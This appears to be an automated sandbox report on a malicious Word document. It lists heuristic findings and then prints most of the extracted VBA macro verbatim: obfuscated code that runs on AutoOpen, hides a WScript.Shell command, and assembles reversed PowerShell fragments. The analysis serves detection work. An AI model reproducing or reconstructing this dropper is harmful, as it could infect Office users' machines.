MALICIOUS
250
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1204.002 Malicious File
The sample is a malicious Office document containing VBA macros. The macros utilize WScript.Shell and CreateObject, indicating an intent to execute arbitrary code, likely for downloading and running a second-stage payload. The AutoOpen macro and the use of Shell() and WScript.Shell are strong indicators of malicious intent.
Heuristics 9
-
VBA macros detected medium 4 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
WScript.Shell usage critical OLE_VBA_WSCRIPTWScript.Shell usageMatched line in script
End Select CreateObject("WScript.Shell").Run KdjLRkc + BYmEZDNYMcNku + RLZIZvQwlvSd + tKAibjq, vbHide Select Case zkTiQH -
CreateObject call high OLE_VBA_CREATEOBJCreateObject callMatched line in script
End Select CreateObject("WScript.Shell").Run KdjLRkc + BYmEZDNYMcNku + RLZIZvQwlvSd + tKAibjq, vbHide Select Case zkTiQH -
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
-
AutoOpen macro low OLE_VBA_AUTOOPENAutoOpen macroMatched line in script
End Function Sub AutoOpen() On Error Resume Next -
Reference to Windows Script Host high SC_STR_WSCRIPTReference to Windows Script Host
-
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXECOLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
-
Suspicious extracted artifact medium EXTRACTED_FILE_STATIC_TRIAGEOne or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 68390 bytes |
SHA-256: 0375962f54247cbdd2e6da90748744136d6b6642bb64222c2c78451c742e0c7f |
|||
|
Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
501 of 847 identifiers look randomly generated (e.g. 'CW71GA0AgZAIDAzAwYAYDA1AgNAcDAmBwNAcDAhB') — consistent with name-mangling obfuscation. Carved artifact contains 14 long base64-like blob(s).
|
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Name = "BZWZjaw"
Function CQFswJPFuKz()
On Error Resume Next
Select Case iJMPiz
Case 62524
tIVdV = Fix(20242)
RdfCr = Int(73863)
Case 59450
LLqST = ZtaSn
SWtwB = ChrW(FwzDZ)
End Select
LvMtZoRnO = TjtbOo + IpFKi("wCd9[l7H!(<qw(qn!t%w5AgNAYGA4AwNAQGAwAAZAkDAmBQZAMDAwAQZAUDA1AQYAIGA2AAMAgDAkBgNAUGAkBwMAEDAIJnWOkJEWj<", 12, 72)
Select Case iJMPiz
Case 62524
tIVdV = Fix(20242)
RdfCr = Int(73863)
Case 59450
LLqST = ZtaSn
SWtwB = ChrW(FwzDZ)
End Select
Select Case YwHSuf
Case 4449
ZjiIC = Fix(72553)
ltIfA = Int(85374)
Case 73763
ZpkGtY = JuGcq
MvNNDS = ChrW(MtzBY)
End Select
fQwdV = dOIcHW + IpFKi("Xj[!(YAMDA3AQMAEGA5AwMAkDA0AwMAYDA5AQYAMDAmBwNAMDA3AgMAMGAxAww(z]R#].bYjmC<_P7Awtbm%WoOq", 28, 56)
Select Case YwHSuf
Case 4449
ZjiIC = Fix(72553)
ltIfA = Int(85374)
Case 73763
ZpkGtY = JuGcq
MvNNDS = ChrW(MtzBY)
End Select
Select Case CLFdFI
Case 31872
rKKmNN = Fix(5636)
XNqYZ = Int(75093)
Case 57760
TCjhKj = SVMzfa
GmJUHB = ChrW(CWrwz)
End Select
oRzpbQBQbl = KQbSI + IpFKi("NPj.z3)w.BwNAYDAhBQOAIDAhBQZAUGA2AwNAQDA5i1.9!_Vfn_mrl", 14, 32)
Select Case CLFdFI
Case 31872
rKKmNN = Fix(5636)
XNqYZ = Int(75093)
Case 57760
TCjhKj = SVMzfa
GmJUHB = ChrW(CWrwz)
End Select
Select Case Mnwtj
Case 82600
zpnZX = Fix(97119)
jMMoBV = Int(31926)
Case 40672
joPTQz = KqWLY
XNIQmj = ChrW(sswUSi)
End Select
iMRhRKJ = UdhKPhS + IpFKi("YG(3Jww.Z(OSxAwNAUGAyAQYAgDAxAAOAIGA4AgYAMDA1AwNAQDAmBgMAQDAwAwMAUGAwAwYAYDAjBwYAUGA3AQOAIDA5AwNAIDAzAgMll", 3, 92)
Select Case Mnwtj
Case 82600
zpnZX = Fix(97119)
jMMoBV = Int(31926)
Case 40672
joPTQz = KqWLY
XNIQmj = ChrW(sswUSi)
End Select
Select Case QqjYK
Case 12529
VcwVb = Fix(53376)
MQfbXO = Int(54965)
Case 11870
PiEYan = VfrHBJ
ZKNRY = ChrW(AMPiA)
End Select
lLjpzLlAMF = USUSwrC + IpFKi("P3ZaG2$KAtooA_<jFCOAQYAEDAjBgMAIDA3AwNAUGAjBgMAEGAzAgZAYDAkBgMAMDA2A_(9(<J6IM", 10, 49)
Select Case QqjYK
Case 12529
VcwVb = Fix(53376)
MQfbXO = Int(54965)
Case 11870
PiEYan = VfrHBJ
ZKNRY = ChrW(AMPiA)
End Select
Select Case mQNppH
Case 99425
HHVuk = Fix(1024)
DIMdm = Int(86962)
Case 44582
XCoOv = jAwFuh
YWwaj = ChrW(QjpOFv)
End Select
nPndtMGjwY = ZaiXUv + IpFKi("sJM$7]]UHA4AwMAQGAxAwNAIGAyAQYAQDA4AgMAYDA3AAZAcDA2AANAcDA2AwMAEDA0AQZAkDA0AwMAkDAiBgNAQGA2AwYAEDA0AQMAMGAlBQYAkDA4AwMAIDAiBwMAYGAzAQYAIGAhBgNAEDA5AQOAEGA3AgMAYDAx.QhIl", 6, 154)
Select Case mQNppH
Case 99425
HHVuk = Fix(1024)
DIMdm = Int(86962)
Case 44582
XCoOv = jAwFuh
YWwaj = ChrW(QjpOFv)
End Select
Select Case wkaVHC
Case 30589
zjhTr = Fix(94963)
nYLTLp = Int(94998)
Case 98917
wZzQw = HasmUw
vAWilq = ChrW(jXuvt)
End Select
JPqlL = mFCYR + IpFKi("27Qwj4HNQNAUDA0AAOAYDAlBwYAkDAvdb", 4, 22)
Select Case wkaVHC
Case 30589
zjhTr = Fix(94963)
nYLTLp = Int(94998)
Case 98917
wZzQw = HasmUw
vAWilq = ChrW(jXuvt)
End Select
Select Case jVEDDz
Case 3482
XwFuvQ = Fix(49351)
riTXEJ = Int(79123)
Case 86727
jzGbS = zsHjLK
KKiTE = ChrW(VXEoqv)
End Select
VqRiNTUijzm = MWwTt + IpFKi("$jw]sXbQYUmB(84,222,48,16,591,39,332,861,912,1,712,871,79,08,65,702,002,802,04,322,352,511,01,141,59", 2, 86)
Select Case jVEDDz
Case 3482
XwFuvQ = Fix(49351)
riTXEJ = Int(79123)
Case 86727
jzGbS = zsHjLK
KKiTE = ChrW(VXEoqv)
End Select
Select Case iXifn
Case 45362
PYcKZY = Fix(31052)
LNuGEV = Int(62998)
Case 15936
jACIAw = qFYpUE
GLDdOi = ChrW(ZdJzj)
End Select
TLcOamzJzT = wuDuZ + IpFKi("oVNhbK!BQOAQGAkBg!$c", 4, 10)
Select Case iXifn
Case 45362
PYcKZY = Fix(31052)
LNuGEV = Int(62998)
Case 15936
jACIAw = qFYpUE
GLDdOi = ChrW(ZdJzj)
End Select
Select Case rzEfc
Case 27878
idSnMP = Fix(47866)
FIqCn = Int(87033)
Case 55459
fpXkHz = prIjpW
DEzEa = ChrW(aMjwYG)
End Select
ZAoUP = uibrC + IpFKi("wL2iBwNAcDZLtbQ%Cou2u.BG", 15, 7)
Select Case rzEfc
Case 27878
idSnMP = Fix(47866)
FIqCn = Int(87033)
Case 55459
fpXkHz = prIjpW
DEzEa = ChrW(aMjwYG)
End Select
Select Case ohNnm
Case 90005
HpQSSC = Fix(12094)
wtwYdI = Int(30918)
Case 57647
jwiZQ = zTRwIF
unzQZb = ChrW(qzOYf)
End Select
zuzLr = znvzi + IpFKi("Bz1bjBAi!l[6jM2vHvia6lwO#b)jCEGA5AgNAADAmBAMAQDA2AAOAQDA2AgNAUDAxAQYAYGAwAgZAADA2AgMAIGAmBwYAIDAxAAZAYGA1AQMAQGA5AQMAMDA3AwNAIGAlBQZAgDA1AANAQGAjBQNAEGA1AgZAIGAkBQYAUDAyAQYAUDAwAAZAQDAwAQOAUDAyAwYAgDA1AAOAUG6Z", 3, 178)
Select Case ohNnm
Case 90005
HpQSSC = Fix(12094)
wtwYdI = Int(30918)
Case 57647
jwiZQ = zTRwIF
unzQZb = ChrW(qzOYf)
End Select
Select Case bPfVZh
Case 90492
tSLct = Fix(67318)
fzNMU = Int(35725)
Case 56851
KrPHp = MBAcGq
ftIJpq = ChrW(PHJaz)
End Select
FMdwBHJXz = MuLOMY + IpFKi("1((2ivKGfGA0AQYAIGAiBQOAkDA0AQZAkDAzAgYAIGAzAQYAQDA3AgYAEDA1AAOAMGAjBgYAMGA0AwYAQDAzAQOAIDAmBQOAMDAmBAZAYDAmBgYAQDAs%z#X8jUU(OW(%(", 16, 106)
Select Case bPfVZh
Case 90492
tSLct = Fix(67318)
fzNMU = Int(35725)
Case 56851
KrPHp = MBAcGq
ftIJpq = ChrW(PHJaz)
End Select
Select Case ZiwIH
Case 119
ffjia = Fix(9790)
KILoRr = Int(26514)
Case 35727
jFMaiY = zNAijW
TtFSj = ChrW(zDotiO)
End Select
izcHqbz = EVwLvV + IpFKi(")nVGtz$3aGYqRIzr[quz)A]NiiIDAlBQMAgDAyAgZAYGAiBAMAUDAkBQNAMGAxAwNAEDAyAgYAIGAwAQZAQGA2AQNAADA2AAZAIGAhBQMAIDA3AwYAADAhBQOAIGAjBgNAkDAlBwYAUDA2AANAQDAmBAZAYDAhBgNAQDA0AwMAUGA2AwMmkr5.", 7, 150)
Select Case ZiwIH
Case 119
ffjia = Fix(9790)
KILoRr = Int(26514)
Case 35727
jFMaiY = zNAijW
TtFSj = ChrW(zDotiO)
End Select
Select Case otPFGm
Case 90518
oPYjfn = Fix(32100)
uASsm = Int(9594)
Case 91736
zHmCqD = VJRWM
GDTCbp = ChrW(UbMLPf)
End Select
zMvtkl = LCaTHHz + IpFKi("HJ(5P(nvRQV_(jBkQoi2sb77DA5AwNAEDAhBQOAQDAiBwNAEGAhBwNAYDAlBAMAEDA2AAOAQDAkBgZAkDAxAgNAUDAhBgNAEGAzAQZAIDAkBwNAQGAwAAOAUDAhBgNAkDA3AwYAIDA5AQZAMGAxAgMAgDAxAwYAEGA0AAZAkDAxAwMAYGA3AQMAMGAyAgZAcDAmBAMAcDAxAQYAMGAhvJIa", 5, 187)
Select Case otPFGm
Case 90518
oPYjfn = Fix(32100)
uASsm = Int(9594)
Case 91736
zHmCqD = VJRWM
GDTCbp = ChrW(UbMLPf)
End Select
Select Case WXzkz
Case 21283
JnHwh = Fix(44390)
GDDYTY = Int(49281)
Case 90754
rrMBC = FnAiCq
wczcNv = ChrW(SFcoO)
End Select
OnaJjFm = fwUsj + IpFKi("obEQ)4_jA[1[Uh_.gDAxAQZAIDAmBANAADA5AgYAgDAyAwMAYGAxAgMAMDA4AAOAIDAyAAZAUDAyAQMAUGA1AAOAADAwAwNAYGA4AAZAYDAlBQMAIGA4AQMAUGAwAgYAEGAwAwMAUGAlBwYAQDAwAAMAEGAjBwInMsD[47H]Q1sd", 15, 142)
Select Case WXzkz
Case 21283
JnHwh = Fix(44390)
GDDYTY = Int(49281)
Case 90754
rrMBC = FnAiCq
wczcNv = ChrW(SFcoO)
End Select
Select Case rmWBV
Case 7035
AsiHTq = Fix(41072)
QqrdWn = Int(59682)
Case 27370
QiKTdZ = bGTkGR
kbAsd = ChrW(WRZoJV)
End Select
RTFIowshLYN = aiSZj + IpFKi("V<irZAQGA4AQNAYDA2AQNAQDA2AAMAUDAxAgZAkDAzAAZAQGA5AQYAMDA2AANAYDAxAgN!QXfJr!Q", 10, 64)
Select Case rmWBV
Case 7035
AsiHTq = Fix(41072)
QqrdWn = Int(59682)
Case 27370
QiKTdZ = bGTkGR
kbAsd = ChrW(WRZoJV)
End Select
Select Case tvBjob
Case 6129
bDhBh = Fix(10039)
hNtLjh = Int(44782)
Case 40646
kPOjw = uGQBlD
OqbHo = ChrW(tsCzNh)
End Select
cpJGF = iPjOMY + IpFKi("Aoz]wwY1AWtMnG6bh$DwMA7oB!.PXPGJ5h", 13, 3)
Select Case tvBjob
Case 6129
bDhBh = Fix(10039)
hNtLjh = Int(44782)
Case 40646
kPOjw = uGQBlD
OqbHo = ChrW(tsCzNh)
End Select
Select Case JGwwis
Case 71711
pJGwh = Fix(20247)
dXwoct = Int(12962)
Case 81572
nfwDtk = rICRU
fKzrm = ChrW(EMdYUn)
End Select
DimRqOYtqf = QEBVzWa + IpFKi("Ebz2YAgDAlBQYAYDAyAwYAADAjBAZAIGAzAAZAIDAlBANAkDAkBwMYH]2rSD_PW!HbWj", 16, 49)
Select Case JGwwis
Case 71711
pJGwh = Fix(20247)
dXwoct = Int(12962)
Case 81572
nfwDtk = rICRU
fKzrm = ChrW(EMdYUn)
End Select
Select Case lkOJp
Case 49047
VdTwc = Fix(57005)
iPYHaX = Int(1064)
Case 88801
fJOAJ = jTDrNz
aVQvfN = ChrW(zjZls)
End Select
nHphMcPdzfR = dLCwo + IpFKi("BE.$ hh%XzvE#5AQMAYDAzAwMAQDA4AQZAkDA4AwNAIDAlBgMAUGAiBQOAMDA3AQZAEDAjBAZAQDA0AwMAkDAmBgNAIGAjBQZAEGAkBAMAIDAjBgYAQGAjBQZAUGA1AgNAQ%v!wwh1jDmar_mw.Wz!Ema2KwV", 27, 118)
Select Case lkOJp
Case 49047
VdTwc = Fix(57005)
iPYHaX = Int(1064)
Case 88801
fJOAJ = jTDrNz
aVQvfN = ChrW(zjZls)
End Select
Select Case ZhzumX
Case 40857
kCGRjv = Fix(67761)
TiljZK = Int(72954)
Case 80984
FiTYV = qhGSw
LvEUN = ChrW(hvbQli)
End Select
anWjkJ = aBBOhP + IpFKi("jvbG_z1J19<BPm!PYAYDA0AAMAYGA0AANAEDAzAQOAkDA3AwYAQGAzAQNAUGAlBQYAUDA0AwYAEGA2AQOAEGAjBQZAIGA5AQNAEDAwAQZAgDA3AgZAkDAwAwYAYGAiBAMAMDAwAgYAcDAkBwNAcDAyAANAIGAzAAOAUDAiBAOAgDA4AAMAkDA5AgMAQDAkBAZAUDAxAwYAkDA2A6jLi.11V@jH", 12, 191)
Select Case ZhzumX
Case 40857
kCGRjv = Fix(67761)
TiljZK = Int(72954)
Case 80984
FiTYV = qhGSw
LvEUN = ChrW(hvbQli)
End Select
Select Case Lvfjpw
Case 2796
WaqSMV = Fix(87821)
cvbuIc = Int(79632)
Case 13408
bRzAwG = RSCPp
fdjTXP = ChrW(WjKwwb)
End Select
WDijO = KVVjF + IpFKi("OnF_CNbGz<jPf.Bh[6aHCZAAZAUDAkBQMAMDAkBQYAEGAmBwNAEGA0AAMAMDAhBwYAQDA2AANAADA3AwYAYDAjBAMAEDA2AANAcDAhBgYAADA3AAZAQDAwAgYAIDAyAAMAUGAxAQZAMDAjBAZAYDA4AwYAMGA0AAOAMP]($PqKAtZQ73CAF!", 18, 141)
Select Case Lvfjpw
Case 2796
WaqSMV = Fix(87821)
cvbuIc = Int(79632)
Case 13408
bRzAwG = RSCPp
fdjTXP = ChrW(WjKwwb)
End Select
Select Case SwRbw
Case 22663
MMivpt = Fix(68338)
iIzYK = Int(67755)
Case 68534
RiiIsm = mTKPvY
PScYSs = ChrW(KhzUT)
End Select
prsmMztfTrS = OljjGY + IpFKi("%GQ$P.riYjV%YYfj(4cYq9WAyAgZAQDAlBQNAQGAlBQMAMDA0AAMAMDAyAgZAIDAjBgwt5fKbH", 8, 44)
Select Case SwRbw
Case 22663
MMivpt = Fix(68338)
iIzYK = Int(67755)
Case 68534
RiiIsm = mTKPvY
PScYSs = ChrW(KhzUT)
End Select
Select Case FDZbRP
Case 7627
oMSmT = Fix(29464)
EuDjhp = Int(78478)
Case 80131
JqJFKY = FbcuC
amlHXU = ChrW(IZsmB)
End Select
PuiDtTtvi = ZqLzojD + IpFKi("UD9QiWi.jnI )))) )601,78,58,591,751,531,81,GcR%[KJ f(UKWrQiWOKNYY", 23, 32)
Select Case FDZbRP
Case 7627
oMSmT = Fix(29464)
EuDjhp = Int(78478)
Case 80131
JqJFKY = FbcuC
amlHXU = ChrW(IZsmB)
End Select
Select Case VUQzV
Case 41512
fXqXTR = Fix(81770)
uXzbDU = Int(93835)
Case 51612
Zwqwa = hBWIkF
Zufwf = ChrW(knpMM)
End Select
XOYcumclzM = ISXTz + IpFKi("LQ)DZC.Yi4kGDWziWAEDAyAgNAUDAzAQMAcDAiBAZAYGAjBwNAEGAkBANAMGA2AgYAEDAkBwYA]5jdR_%zww(V", 13, 57)
Select Case VUQzV
Case 41512
fXqXTR = Fix(81770)
uXzbDU = Int(93835)
Case 51612
Zwqwa = hBWIkF
Zufwf = ChrW(knpMM)
End Select
Select Case IKFiRp
Case 17403
WTIQlh = Fix(93507)
rSWtS = Int(46240)
Case 15714
Zmzjo = tnLlv
tnpnj = ChrW(YDNzS)
End Select
UuDIzjVJcjk = CiuKt + IpFKi("o79b(wMAcDA2AQOAEGA5AwYAkDAjBQOAADAxAQMAYGA5AQMAEGAhBwNAcDA4C1mO).hU96aEPUbQ.wn4REDIP", 26, 55)
Select Case IKFiRp
Case 17403
WTIQlh = Fix(93507)
rSWtS = Int(46240)
Case 15714
Zmzjo = tnLlv
tnpnj = ChrW(YDNzS)
End Select
Select Case SHrTw
Case 90232
mbOGzM = Fix(93780)
IOjsLq = Int(69850)
Case 69353
sihKvh = DTcUwk
vrjhqt = ChrW(NaVIH)
End Select
WTwwTlA = TqSFaM + IpFKi("3O!lfk7(!W(X7NAADAlBAZAADA2AgMAQGAxAAZAEGAmBAMAYGAhBgNAQDAhBANAYDA4AQMAADAkBQOAgDA2AgZAEGAwAgMAEGAxAAMAcDAxAAOAEDAmBgNAQDAwAQNAgDAjBQZAADAjBANAMGA2AQYAQDAiBwMAIDBVDBaEj13766.hwDw_Ud", 21, 148)
Select Case SHrTw
Case 90232
mbOGzM = Fix(93780)
IOjsLq = Int(69850)
Case 69353
sihKvh = DTcUwk
vrjhqt = ChrW(NaVIH)
End Select
Select Case qJjuPt
Case 75209
XIWMz = Fix(70434)
iwZKdt = Int(23540)
Case 74093
TnjYZz = VkcPHF
tjaINF = ChrW(CPfzC)
End Select
wzIjqM = NOmJiXF + IpFKi("AigZAMGA4AgNAMDAhBAZAcDAmBwMAUGAkBQMAMDA2AwMAQGAyAwYAQGAkBgMAMDA1AgYAADA5AwNAQGAkBgMAEDAiBgMAQDA4AwYAIGAmBAOAMGA0AgYAEGAjBQNAIDAkBwNAEGA2AAMAEGAzAQYAEGAyAQYAEGAjBgNAUDAhBQZAEDAzAQOAkD<iZEGX)<VqRJjm2J.nnfJ3.z[", 26, 181)
Select Case qJjuPt
Case 75209
XIWMz = Fix(70434)
iwZKdt = Int(23540)
Case 74093
TnjYZz = VkcPHF
tjaINF = ChrW(CPfzC)
End Select
Select Case srmlEq
Case 59428
LtvFbq = Fix(38689)
VMqihf = Int(88984)
Case 5297
vVnVwj = nBZIPi
ofCbjV = ChrW(saArXP)
End Select
iGwRl = PVisdXk + IpFKi("!Z_n_j.jZAQDA2AQOAMGAhBgYAADAmBgMAMSmNta]_nlzwWPj3cKShGf7[z4Y<A", 29, 27)
Select Case srmlEq
Case 59428
LtvFbq = Fix(38689)
VMqihf = Int(88984)
Case 5297
vVnVwj = nBZIPi
ofCbjV = ChrW(saArXP)
End Select
Select Case EBAdsp
Case 61593
twGLjS = Fix(5873)
VhKBz = Int(80449)
Case 26694
vMLGn = ZRFWui
BXUTNa = ChrW(WwhLw)
End Select
RfiUSBI = SNMzkAI + IpFKi("R0sslM]Q<j7%iAiz_7O9jOb7B", 11, 2)
Select Case EBAdsp
Case 61593
twGLjS = Fix(5873)
VhKBz = Int(80449)
Case 26694
vMLGn = ZRFWui
BXUTNa = ChrW(WwhLw)
End Select
Select Case Tzwvwr
Case 8841
GswjT = Fix(22892)
UwqMaA = Int(35247)
Case 97783
wkZlAD = LlZAVj
LmZnOq = ChrW(laFhT)
End Select
booPXNOioj = iZXWoPn + IpFKi("$v]GZMCDm5GPrfUDAmBQMAUDAxAQMAADAxAgYAYGAzAQOAYGAmBQMAYGAmBQNAQDA3AgZAkDAyAAZAUDA4AwYAMGAhBAZAIGA3AAMAEDA1AAZAkDAwAwYAUGAjBANAYDAiB!C_NA20Saw", 11, 117)
Select Case Tzwvwr
Case 8841
GswjT = Fix(22892)
UwqMaA = Int(35247)
Case 97783
wkZlAD = LlZAVj
LmZnOq = ChrW(laFhT)
End Select
Select Case buPwa
Case 75939
pFGmTc = Fix(22535)
vNCVu = Int(714)
Case 45656
NdauGu = ubRSVI
jchQcT = ChrW(baPhRb)
End Select
nvAbVVjnt = CZBzBA + IpFKi("rM.]1![XnY)tlnUGA5AANAcDA3AQYAgDAzAgMAIDAiBAOAADAiBQMAYGA2AQZAMGA3AANAcDA6qPwOd", 7, 59)
Select Case buPwa
Case 75939
pFGmTc = Fix(22535)
vNCVu = Int(714)
Case 45656
NdauGu = ubRSVI
jchQcT = ChrW(baPhRb)
End Select
Select Case WbiGO
Case 6878
uDmju = Fix(87033)
YKucNs = Int(95246)
Case 93745
jKczf = uUNUu
CdwWS = ChrW(zVAVB)
End Select
zqaCqFWCOs = cfBJEU + IpFKi("8nh(b[jM(bqq5Mz!YOuWO7MAIGA4AQNAIGA2AwMAQDAzAAOAMGAkBQYAUGA5AAMAkDAkBAMAUGA1AgNAYGAkBAMAQDAwAgYAgDAyAwYAEGAhBQYAYDAhBAMAMGA4AAOAMDAkBQZAYGA5AQZAUGA5AQZAkDA_6Ljm1", 7, 133)
Select Case WbiGO
Case 6878
uDmju = Fix(87033)
YKucNs = Int(95246)
Case 93745
jKczf = uUNUu
CdwWS = ChrW(zVAVB)
End Select
Select Case orYjdO
Case 81682
Jwthit = Fix(64424)
tzSJQD = Int(51748)
Case 21797
riXBWk = JXhqkY
QWPaVY = ChrW(LGdio)
End Select
iqoPztSmff = wisiUD + IpFKi("wv67swHddTsErUceS::]LAhsraM.secIvrespoReTNI.eMITnuR[(inUgNIrTsoTrTP::]lahsRAm.SEcIVReSPOREtNi.EmiTNUr[ ( ( )''nIoj-]2,11,3[EMaN.)'*RDM*' elbaIRav-TEG(( &NR", 3, 144)
Select Case orYjdO
Case 81682
Jwthit = Fix(64424)
tzSJQD = Int(51748)
Case 21797
riXBWk = JXhqkY
QWPaVY = ChrW(LGdio)
End Select
Select Case zsiJM
Case 24965
vfJCEE = Fix(43932)
ZfPmSQ = Int(66165)
Case 38193
uTiAI = OZiGAm
hWrzIB = ChrW(tizMBH)
End Select
WbaJB = PMbkQM + IpFKi("CHOQY%UZXj#]4AwNAIDAkBwYAUDAyAQZAYGAlBQZWC_Gwr74G[CZ", 14, 27)
Select Case zsiJM
Case 24965
vfJCEE = Fix(43932)
ZfPmSQ = Int(66165)
Case 38193
uTiAI = OZiGAm
hWrzIB = ChrW(tizMBH)
End Select
Select Case UztkMZ
Case 55700
aIowu = Fix(10790)
MSoQSf = Int(68987)
Case 31857
rMouj = CWRft
zCibmz = ChrW(pOZMW)
End Select
BbWastCj = vtsER + IpFKi("w.GUIm[vr6wnYOJ9AdPQ[w<z(3BnhP<o7X)AMD(", 2, 3)
Select Case UztkMZ
Case 55700
aIowu = Fix(10790)
MSoQSf = Int(68987)
Case 31857
rMouj = CWRft
zCibmz = ChrW(pOZMW)
End Select
Select Case JBihi
Case 70668
BBZdj = Fix(3264)
KYMLrw = Int(70992)
Case 23340
olrFM = XMqoz
wmvvG = ChrW(TqawV)
End Select
EdmMrRizAh = FIOIP + IpFKi("oQC53!!qW(.AswY!5QDZGXVbkMjAkEAQBARAoHA8BgM5435a05061b3143240f3476111d29467'($(eDoCiNUcolLaLaboLgotgnIRYvVKSjws", 9, 76)
Select Case JBihi
Case 70668
BBZdj = Fix(3264)
KYMLrw = Int(70992)
Case 23340
olrFM = XMqoz
wmvvG = ChrW(TqawV)
End Select
Select Case DatQii
Case 47933
TzfKaU = Fix(98712)
SiIzh = Int(16093)
Case 22691
lvnzcz = oozjWZ
DIcXl = ChrW(FYjHtr)
End Select
hFUvJjJo = zpbhE + IpFKi("HXc%ii(@M9ZW_)ZEGAxAAOAQGAxAwMAIGAlBwYAADA2AAZAcDAwAQMAMDA0AgMAEGAyAQMAQGA0AgZAYGAiBQOAUDAlBQZAYGAhBgYAgDAzAQOAkDA4AAZAQGA1AgYAYGAxAgMAEDAhBwYAUDAzAAZAwHA9AQPAEEARBgWAMFAPBwcAIHA1BwaAYFALBgRAcGAmBwaAIEAZBgRvPKzwGYhi0iiXIO$dlf", 20, 191)
Select Case DatQii
Case 47933
TzfKaU = Fix(98712)
SiIzh = Int(16093)
Case 22691
lvnzcz = oozjWZ
DIcXl = ChrW(FYjHtr)
End Select
Select Case unzsiL
Case 73142
fIKvp = Fix(13140)
jzZjd = Int(88553)
Case 69272
NUDIif = nqMXjz
wXwCfj = ChrW(jHAbGB)
End Select
zizzJInVI = EfdFuO + IpFKi("Ijf4%K3)z)nOVZAcDAmBgNAADAjBAOAIGAlBgZAUDA0Abu7rYW", 7, 31)
Select Case unzsiL
Case 73142
fIKvp = Fix(13140)
jzZjd = Int(88553)
Case 69272
NUDIif = nqMXjz
wXwCfj = ChrW(jHAbGB)
End Select
Select Case tlTDzt
Case 17027
nziHiC = Fix(42263)
pEBFI = Int(14335)
Case 67806
BcPmR = Cfqio
LcEQjZ = ChrW(mCThD)
End Select
wzCWHGzUztp = ImQpKqm + IpFKi("CW71GA0AgZAIDAzAwYAYDA1AgNAcDAmBwNAcDAhBgMAYGAxAQOAgDAmBAMAgDA1AQKvnzlwMC9", 10, 61)
Select Case tlTDzt
Case 17027
nziHiC = Fix(42263)
pEBFI = Int(14335)
Case 67806
BcPmR = Cfqio
LcEQjZ = ChrW(mCThD)
End Select
Select Case pYMfU
Case 19358
iRYXEA = Fix(58009)
ItBcj = Int(32781)
Case 87582
djzlf = XzXhQY
TrcMJ = ChrW(DTPojK)
End Select
GipsbznGnRX = AjLNUZl + IpFKi("WEoLo)HftMGA4AQOAcDA4AwMAkDA5AwMAIGAyAwNAEGAkBQOAMDAmK3oOJ$Xa9K%Wv2NV!AC$j)zdL(", 28, 43)
Select Case pYMfU
Case 19358
iRYXEA = Fix(58009)
ItBcj = Int(32781)
Case 87582
djzlf = XzXhQY
TrcMJ = ChrW(DTPojK)
End Select
Select Case HGwvG
Case 75886
QSBWD = Fix(9517)
iBQsm = Int(50362)
Case 86344
inWXFN = bXAQJF
iNEFR = ChrW(RnkAS)
End Select
mVzvnV = aIEHO + IpFKi("H)doaA2AwYAUGA1AgZAIi_jf37VYJR%7j_[.jCC1N3v89Owri", 31, 14)
Select Case HGwvG
Case 75886
QSBWD = Fix(9517)
iBQsm = Int(50362)
Case 86344
inWXFN = bXAQJF
iNEFR = ChrW(RnkAS)
End Select
Select Case wnwiEI
Case 96016
INFpR = Fix(57767)
jHSvQt = Int(16550)
Case 695
DHfjri = zYKppa
TCKhAj = ChrW(ThkNE)
End Select
kTpMYzIVDKj = jrhKL + IpFKi("bt]Ht)wvG7DXP.z_w99hDzrNloMdK7jAwMAcDAmBANAUGAiBANAkDA4AgNAkDAlBAMAMDAmBgZAQDAmBwYAADAzAwYAEGAxAgYAYDAhBANAYDA0AgZAUDAyAwMAgDA5AAMAUDAwAwYAkDAjBAZAUGAzAgYAMDAhBwNAkDA4AwNAYGA2AANAMDAlBQOAYDA4AQMAEDAjBQOAQGAw7nf7", 5, 176)
Select Case wnwiEI
Case 96016
INFpR = Fix(57767)
jHSvQt = Int(16550)
Case 695
DHfjri = zYKppa
TCKhAj = ChrW(ThkNE)
End Select
Select Case UVSYc
Case 87519
IBdYkO = Fix(90081)
jJqOr = Int(77640)
Case 84707
UviROq = NQFYV
EpmYE = ChrW(OwHbH)
End Select
nlLGLiiNZ = wabnpn + IpFKi("84j5jw(JP3<sVhEAUXf7Fdl.a63S", 13, 1)
Select Case UVSYc
Case 87519
IBdYkO = Fix(90081)
jJqOr = Int(77640)
Case 84707
UviROq = NQFYV
EpmYE = ChrW(OwHbH)
End Select
Select Case uupuw
Case 7381
PivQzV = Fix(92784)
LahTf = Int(18728)
Case 66704
bDqbK = fjZVMY
lrCNlc = ChrW(qzFiDo)
End Select
wRtLNVjYY = IJVsw + IpFKi("nUilVMV XJA1AQNAYGA3AwYAYGAlBgYAcDAzAAZAMGAxAAOAJ<zZ3Glb2Hwq7_OJ7z", 19, 38)
Select Case uupuw
Case 7381
PivQzV = Fix(92784)
LahTf = Int(18728)
Case 66704
bDqbK = fjZVMY
lrCNlc = ChrW(qzFiDo)
End Select
Select Case BzWjE
Case 91632
wRJviA = Fix(66590)
VvPDAj = Int(21909)
Case 4240
BFSMOk = mMNzAm
